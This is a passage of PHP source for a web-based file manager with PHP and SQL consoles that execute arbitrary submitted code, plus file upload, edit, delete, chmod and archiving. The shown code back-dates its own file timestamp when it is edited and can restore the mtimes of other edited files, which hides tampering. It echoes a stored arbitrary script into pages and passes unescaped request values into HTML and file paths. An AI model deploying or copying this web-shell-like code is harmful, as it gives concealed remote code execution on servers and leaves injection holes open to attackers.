<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

